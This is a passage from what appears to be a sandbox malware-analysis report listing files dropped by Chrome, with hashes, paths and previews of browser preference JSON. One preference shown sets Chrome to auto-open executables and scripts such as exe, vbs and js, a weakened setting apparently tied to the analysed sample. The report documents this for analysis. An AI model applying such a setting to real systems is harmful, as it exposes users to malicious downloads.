ntryid_at_install":18242,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0",
"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","126974"],"daily_received_length":["0","0","0","0","0","0","0","0"

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 16016

Entropy (8bit): 5.575376005617065

Encrypted: false

SSDEEP: 384:c8RutGLlAX41kXqKf/pUZNCgVLH2Hf++rUT4tQ542:53Llq41kXqKf/pUZNCgVLH2HftrUyQ5V

MD5: 5056AFA4F7239B67EAC40DF8A1278195

SHA1: 6CD93D995414A1ED9E59CAC535A1104C31C40614

SHA-256: C74AF13CDD0C55F10BD834CCED494F9196A08F8AD72EA2D42AF3D7DCFF2A0181

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\28437055-8c6e-44bd-9e8b-8097daeab257.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5e118828-c9a3-472b-ae41-18922c3b26b1.tmp

Copyright Joe Security LLC 2022 Page 18 of 310



SHA-512: AEE59B4B23E7EAF9F5309FE9DCE122956B42747C2F8015D5F13410A5218D0020EBAD78CB069CF7835C5C832AE2052BCB7505DDA033373AF608D44C37D284E58
A

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13304666556386521","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 31

Entropy (8bit): 4.889680181354619

Encrypted: false

SSDEEP: 3:y6BpnOM8Er+9UFksX:yqpd8EdFksX

MD5: F6B53C556ECCA30E97F6474C240ED3B3

SHA1: EB45EBAC0488F867FEBBECF343B8107C4ADCB3E2

SHA-256: 6A29D7EED7599628F5B56FF9A0067E1070C4CC45F661FD6BAC3FC9DADBFC77EA

SHA-512: FA9BC22A353C81C6B8BD67394DC07C0F7B9221E840702BC945F408B21E3BACD341454A2979C037BF35982BB4678C9DAEC577EA97B87B357FAA669C2D067F1AA
B

Malicious: false

Reputation: low

Preview: v10Q..d...q8+....l...|l.X.Z..h.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 13736

Entropy (8bit): 5.167242432140892

Encrypted: false

SSDEEP: 384:uJxYvThUWoT4dDW7GnOByDcLMTrRFL9R+/3dw:WqbhUWy4dDWK+/3q

MD5: 65C772EB21CCA67DFD2FC4A501B828C3

SHA1: F471999CC9595738269F9D3149DCA13A51273F86

SHA-256: 548E5AF36D02A4605D9EA34F0EDEEFCC51F7332AD193434F7CA54BD4A071705C

SHA-512: 3693D5BC89D55F9270AE9D5D4AEABBD2751A9F8148BB25627404CE2BB9A9ED9D8C07797FB672BE4B3436C2B2B01EBB03AB671926424AB111404EB804050C164
B

Malicious: false

Reputation: low

Preview: {"NewTabPage":{"PrevNavigationTime":"13287142309198669"},"account_id_migration_state":2,"account_tracker_service_last_update":"13304666556741724","alt
ernate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13273758446491023","autocomplete":{"retention_policy_last_version":94},"
autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placem
ent":{"bottom":1112,"left":269,"maximized":true,"right":1214,"top":92,"work_area_bottom":1040,"work_area_left":0,"work_area_right":1920,"work_area_top":0}},"cou
ntryid_at_install":18242,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0",
"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","126974"],"daily_received_length":["0","0","0","0","0","0","0","0"

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 9499

Entropy (8bit): 4.84726367766785

Encrypted: false

SSDEEP: 192:JuJzllRALa6J1SFjaKFt0url460M0GJt+68LaJJnf1KizMZ0e686lLsp6a+prS6b:JuJzllRALa6J1SFjaKFt0url460M0GJL

MD5: FDB0E7B8569F9BDCB914200A366A664E

SHA1: EF1E103CCF65370E45292917AEA5AE02C044CC0A

SHA-256: 52D4F4FA9737C4D734B099C282706FF030965F74D96BC2C5F6C692022A9AD9A5

SHA-512: 5C82415EE15D384C4EC74272F503BC53D1F872F8E386C03463A49FB06688161942A86068C50A5C080142003BF3ED699A732DA5B5C18B87AC4911201AAA60B83C

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\65f41ec1-4431-4df8-b1eb-6d778da6efec.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6b7d5085-f580-47b7-9437-89659e8b0dc4.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9e4766e5-ac0e-4878-8485-3c797e9a4421.tmp
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Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://bat.bing.com","supports_spdy":true},{"isolation":[],"server":"https://javadl.oracle.com","supports_sp
dy":true},{"isolation":[],"server":"https://oracle.112.2o7.net","supports_spdy":true},{"isolation":[],"server":"https://consent-pref.trustarc.com","supports_spdy":true},{"isolation":
[],"server":"https://consent.trustarc.com","supports_spdy":true},{"isolation":[],"server":"https://prefmgr-cookie.truste-svc.net","supports_spdy":true},{"isolation":[],"server":"
https://www.java.com","supports_spdy":true},{"isolation":[],"server":"https://consent-st.trustarc.com","supports_spdy":true},{"isolation":[],"server":"https://www.oracle.
com","supports_spdy":true},{"isolation":[],"server":"https://static.ocecdn.oraclecloud.com","supports_spdy":true},{"isolation":[],"server":"https://s.go-mpulse.net","supp
orts_spdy":true},{"isolation":[],"server":"https://9212252.fls.doubleclick.net","supports_spdy":true},{"isolation":[],"s

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11217

Entropy (8bit): 6.069602775336632

Encrypted: false

SSDEEP: 192:GbylJnlTwGB7V9Hne4qasKxXItmLG48gcLg/PkI:Gb+nldByaFx4toj8VEPT

MD5: 90F880064A42B29CCFF51FE5425BF1A3

SHA1: 6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF

SHA-256: 965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5B9ABC44EF268

SHA-512: D9CBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0E59A5397364F67A484B45091BA94E6C69ED18AB681403DFD3F3

Malicious: false

Reputation: low

Preview: {"file_hashes":[{"block_hashes":["A+1PYW3V6CJbBuQ7aqrgYhyH3bT8PKyBXp3hN2slpI0=","WSOpQRkYTHjPSlG9Zif2a7TNhy43NDcG1Zg5Nv0UbH0=","jDctR8ImG5KZ
rQKm4kDjUB7FokSJfjo/pmvFowRVlaY=","LPxhhJiuU0lprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96AkKXALRM+C0Eu11XUjPiMXEKjiCPdtHE=","w
ifibc1QfMBN2jrtUtLgsCefvuceTpAatmLvul11RJA=","dHjWlSIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLN0CFL/ADaEeTI=","
DpjXcO85FFFY9KJFPkGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECRofI9lMipXgXh2jEN2+CxmPE0=","prDB91X2Mmfg/M/txVMITWBmEGbOGjqBTP7C
MjYqdHs=","yLPAqV4gqoyS/zFkEt3Cn2j0q2v9QOSthVFfWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO1IJdn/UtbnAmq6T0=","+oOc6ca+ChKUpTu+oa2ZRxRE+
wG3QJmuYWEvYCs40NI=","3mBGNAiRlTANEQkqzU3TEi+5wJ0ubR5uwtS4/9OOM7w=","1A9NNawxuhu95H5eThvf1rewJ4QQWhhPNxJXO1C/n68=","E3vW
LQxzmj+e5QxYbUscllJ5n0ITpw5JBHV1Kph3/KM=","i3I8ghdTF9c1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSlLPhrtu0hGYrHn3llsMHqBbi70gkIjEE=","rhl
zuEvv2KRAFMms896xFwkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRb0VZrY34aVXF3Fftxs

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 10559

Entropy (8bit): 5.056837181533727

Encrypted: false

SSDEEP: 192:uxTncGCODHciX0IuujSekVucISisUs3ejS6rp+a6psL6l68e0ZMziK1fnJJaL688:ATncGCO7ciX0IuujSdVucISisUs3ejSi

MD5: 6A3B5E82D646672A95E4D9AC0823B63A

SHA1: 724942D1102FBDB9AFA5EF1FCF27340ABF70F1F4

SHA-256: 7A1283D17A4F2112E2B0A5ABE5B92EDB14E9239D516296D86DA964F0A2237BB8

SHA-512: E42FEAF6E3030EE3AA5483BC467747395ED3AB2381AAB5B19C1E1E6A17009CD86E175C1665511AA728CE732D012E490EB4A27DEC54FFBFA12F1BD0698CEF61
CF

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"broken_alternative_services":[{"broken_count":12,"broken_until":"1660193282","host":"dnstranfer.com","isolation":["GAAAABIAAA
BodHRwczovL21oeHlkcy5jb20AAA==","HAAAABYAAABodHRwczovL2Ruc3RyYW5mZXIuY29tAAA="],"port":443,"protocol_str":"quic"}],"servers":[{"isolation":[],"server"
:"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://chrome.cloudflare-
dns.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true
},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https:/
/dns.quad9.net","supports_spdy":true},{"isolation":[],"server":"https://update.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://apis.goog

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 11467

Entropy (8bit): 5.1600734095169

Encrypted: false

SSDEEP: 192:ua7L1oqWvThUWoT4dDW3+zorux0oCkqSkbyck9fuk0tkWR8kTzC+iVA3dgaS:uWxWvThUWoT4dDWmGnyDcrRFzC+/3dw

MD5: EC3454724E7B4D9FDFD2B0AACCDFAD53

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_1\_metadata\comput

ed_hashes.json

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
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SHA1: 7D56310AECED356192891DD98926806C7E4085A4

SHA-256: 605A7F3C59B98F1C9602800B7E02567A758650CB64722B2AB79C429E94705608

SHA-512: E165F47281AC645D6B01324DBA6F1987E5A5B9E620CCEC481AD6BC2F2C5937F1AE07F9C5C2C4E23AAD4697E68E0E092DECABA5E5E171626FFABBA47062EC7
F29

Malicious: false

Reputation: low

Preview: {"NewTabPage":{"PrevNavigationTime":"13287142309198669"},"account_id_migration_state":2,"account_tracker_service_last_update":"13304666556741724","alt
ernate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13273758446491023","autocomplete":{"retention_policy_last_version":94},"
autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placem
ent":{"bottom":1112,"left":269,"maximized":true,"right":1214,"top":92,"work_area_bottom":1040,"work_area_left":0,"work_area_right":1920,"work_area_top":0}},"cou
ntryid_at_install":18242,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0",
"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","126974"],"daily_received_length":["0","0","0","0","0","0","0","0"

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 18647

Entropy (8bit): 5.558371792592284

Encrypted: false

SSDEEP: 384:cKRUtALlAXV1kXqKf/pUZNCgVLH2Hf+OrUZHGlcu954E:XpLlqV1kXqKf/pUZNCgVLH2Hf/rU9GXN

MD5: 09584770E24E6E16351F28FA0F37553F

SHA1: D379D1BB38A67C25A0C1457A3997216AA01BC011

SHA-256: 1B936562FB5D4B7D748D4B0CAC5FCB7A7A1D0AF60A7F90CE96F2E73A05FD183A

SHA-512: 9508598A325BB77320CA5C7C84441058D046EC4CB0A6EBE98CBE8E4AC5AB563B312399193067A2FBA0B0471636208B31EBA9DF47F2635BFE28C6A9044C89002
B

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13304666556386521","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 292

Entropy (8bit): 4.909011935000475

Encrypted: false

SSDEEP: 6:YHpoueH2a9a1o3/QBRXH8ogAhJPQBR70S7PMVKJw1K3KnMRK3VY:YH/u2caq3arg2gH7E4f3K33y

MD5: 0AE774E54BEE5B78ABC7FF6F79A70946

SHA1: 2B1516A9AC622E1955B79AFB9D5FF1CAD6749107

SHA-256: 122E8F4EBB6CD0242A28814861EAF3B3A4EB497EA8157433C99287F9594A6AA2

SHA-512: 0F4A5977B01B811E251569C54437A225A9DFBB5E10533A976067A4FCAB064EC03B8AE5A67D78E0CC846661BA5B911719599A3B172A38ABDCBDF7637447FB67D
4

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true},{"isolation":[],"server":"https://dns.quad
9.net","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 292

Entropy (8bit): 4.915861250068969

Encrypted: false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\0a0621bb-012a-4c03-8b47-

1b5f8260f203.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\88ea9396-9278-4890-9f3f-

5bd151a38302.tmp

Copyright Joe Security LLC 2022 Page 21 of 310



SSDEEP: 6:YHpoueH2a9a1o3/QBRXH8ogAhJPQBR70S7PMVKJw1K3KnMRKXk1Yn:YH/u2caq3arg2gH7E4f3K3X

MD5: 9387949FF0574EDB0C82C94702F1E8CA

SHA1: 300C1D944AE330A7D83D5E326208747431E182FE

SHA-256: 5B920AEBC1C4764AB3E3772B830AF45F210CEF604B4A841E43870E204AD2EFD4

SHA-512: ECBB873184ED77BF1BAAB951976AE756635668115C748DAD0ED18DA5D17346270DA7B4B7D3DFF03D7293BCB46141F099FFE99D70450EA0432ABD5740430669E
F

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true},{"isolation":[],"server":"https://dns.quad
9.net","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"3G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Reputation: low

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 292

Entropy (8bit): 4.915861250068969

Encrypted: false

SSDEEP: 6:YHpoueH2a9a1o3/QBRXH8ogAhJPQBR70S7PMVKJw1K3KnMRKXk1Yn:YH/u2caq3arg2gH7E4f3K3X

MD5: 9387949FF0574EDB0C82C94702F1E8CA

SHA1: 300C1D944AE330A7D83D5E326208747431E182FE

SHA-256: 5B920AEBC1C4764AB3E3772B830AF45F210CEF604B4A841E43870E204AD2EFD4

SHA-512: ECBB873184ED77BF1BAAB951976AE756635668115C748DAD0ED18DA5D17346270DA7B4B7D3DFF03D7293BCB46141F099FFE99D70450EA0432ABD5740430669E
F

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true},{"isolation":[],"server":"https://dns.quad
9.net","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"3G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 292

Entropy (8bit): 4.915861250068969

Encrypted: false

SSDEEP: 6:YHpoueH2a9a1o3/QBRXH8ogAhJPQBR70S7PMVKJw1K3KnMRKXk1Yn:YH/u2caq3arg2gH7E4f3K3X

MD5: 9387949FF0574EDB0C82C94702F1E8CA

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\6d447b95-086a-4941-b2

4f-e9c19e6792a1.tmp
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SHA1: 300C1D944AE330A7D83D5E326208747431E182FE

SHA-256: 5B920AEBC1C4764AB3E3772B830AF45F210CEF604B4A841E43870E204AD2EFD4

SHA-512: ECBB873184ED77BF1BAAB951976AE756635668115C748DAD0ED18DA5D17346270DA7B4B7D3DFF03D7293BCB46141F099FFE99D70450EA0432ABD5740430669E
F

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true},{"isolation":[],"server":"https://dns.quad
9.net","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"3G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 270336

Entropy (8bit): 0.0012471779557650352

Encrypted: false

SSDEEP: 3:MsEllllkEthXllkl2zE:/M/xT02z

MD5: F50F89A0A91564D0B8A211F8921AA7DE

SHA1: 112403A17DD69D5B9018B8CEDE023CB3B54EAB7D

SHA-256: B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC

SHA-512: BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898
D58

Malicious: false

Reputation: low

Preview: ..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 292

Entropy (8bit): 4.915861250068969

Encrypted: false

SSDEEP: 6:YHpoueH2a9a1o3/QBRXH8ogAhJPQBR70S7PMVKJw1K3KnMRKXk1Yn:YH/u2caq3arg2gH7E4f3K3X

MD5: 9387949FF0574EDB0C82C94702F1E8CA

SHA1: 300C1D944AE330A7D83D5E326208747431E182FE

SHA-256: 5B920AEBC1C4764AB3E3772B830AF45F210CEF604B4A841E43870E204AD2EFD4

SHA-512: ECBB873184ED77BF1BAAB951976AE756635668115C748DAD0ED18DA5D17346270DA7B4B7D3DFF03D7293BCB46141F099FFE99D70450EA0432ABD5740430669E
F

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true},{"isolation":[],"server":"https://dns.quad
9.net","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"3G"}}}

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 31

Entropy (8bit): 4.889680181354619

Encrypted: false

SSDEEP: 3:y6BpnOM8Er+9UFksX:yqpd8EdFksX

MD5: F6B53C556ECCA30E97F6474C240ED3B3

SHA1: EB45EBAC0488F867FEBBECF343B8107C4ADCB3E2

SHA-256: 6A29D7EED7599628F5B56FF9A0067E1070C4CC45F661FD6BAC3FC9DADBFC77EA

SHA-512: FA9BC22A353C81C6B8BD67394DC07C0F7B9221E840702BC945F408B21E3BACD341454A2979C037BF35982BB4678C9DAEC577EA97B87B357FAA669C2D067F1AA
B

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State

(copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Trusted Vault (copy)
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Malicious: false

Reputation: low

Preview: v10Q..d...q8+....l...|l.X.Z..h.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 13418

Entropy (8bit): 5.164506323974702

Encrypted: false

SSDEEP: 384:uVVxXvThUWoT4dDW7GnOByDHMTrRFL95+/3df:exbhUWy4dDWd+/3J

MD5: 3D1B0C9F9FBBFE6480BA05933F0D85F9

SHA1: F0DC69B9E02F5B2BF42E79B9024A0EEDD4E80DA9

SHA-256: C6C636C4006A49844167321FBC25C93659332D80A69347A46031B85A94E129D8

SHA-512: 16A67793C2985C86E4D838D10AFF62BD7FC0E4B368A13E515828A4E6A4721FE4CC72B905C9FD545CFE2BFBEABD4AAFAA4920CF7440758E3657EE6D13C170D8
90

Malicious: false

Reputation: low

Preview: {"NewTabPage":{"PrevNavigationTime":"13287142309198669"},"account_id_migration_state":2,"account_tracker_service_last_update":"13304666556741724","alt
ernate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13273758446491023","autocomplete":{"retention_policy_last_version":94},"
autofill":{"orphan_rows_removed":true},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placem
ent":{"bottom":1112,"left":269,"maximized":true,"right":1214,"top":92,"work_area_bottom":1040,"work_area_left":0,"work_area_right":1920,"work_area_top":0}},"cou
ntryid_at_install":18242,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0",
"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","126974"],"daily_received_length":["0","0","0","0","0","0","0","0"

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 18645

Entropy (8bit): 5.558263466823878

Encrypted: false

SSDEEP: 384:cKRUtnLlAXV1kXqKf/pUZNCgVLH2Hf+OrUZHG2qsue54T:X8LlqV1kXqKf/pUZNCgVLH2Hf/rU9GMe

MD5: B8BAFBE5152B008FDC75300A910BA986

SHA1: B6556812031117BA2983C77AB4574313F72CF01C

SHA-256: 5509137996A67858F0EDE305D4F53DB32BBF700F62B1E1413C59DE2658F0D957

SHA-512: DC74CB186B6881C9C65CA3809E899973BCCF4B53854A38CBC7CB6C472397B7BB5184FEB3A22A85C1427651BD535198047228AFC5956B08B4C8420C3D45725552

Malicious: false

Reputation: low

Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mh
t:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network
"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"i
ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13304666556386521","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.
google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":
{"128":"webstore_i

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Reputation: low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a335b981-46f5-449b-b993-29ec6cd6cec2.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a45c89f2-52bd-4bfc-8844-7c8df1ed0bcc.tmp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cc21b17d-db30-4389-8b95-a6e19e5f5f79.tmp
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Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 18647

Entropy (8bit): 5.558371792592284

Encrypted: false

SSDEEP: 384:cKRUtALlAXV1kXqKf/pUZNCgVLH2Hf+OrUZHGlcu954E:XpLlqV1kXqKf/pUZNCgVLH2Hf/rU9GXN

MD5: 09584770E24E6E16351F28FA0F37553F

SHA1: D379D1BB38A67C25A0C1457A3997216AA01BC011

SHA-256: 1B936562FB5D4B7D748D4B0CAC5FCB7A7A1D0AF60A7F90CE96F2E73A05FD183A

SHA-512: 9508598A325BB77320CA5C7C84441058D046EC4CB0A6EBE98CBE8E4AC5AB563B312399193067A2FBA0B0471636208B31EBA9DF47F2635BFE28C6A9044C89002
B

Malicious: false

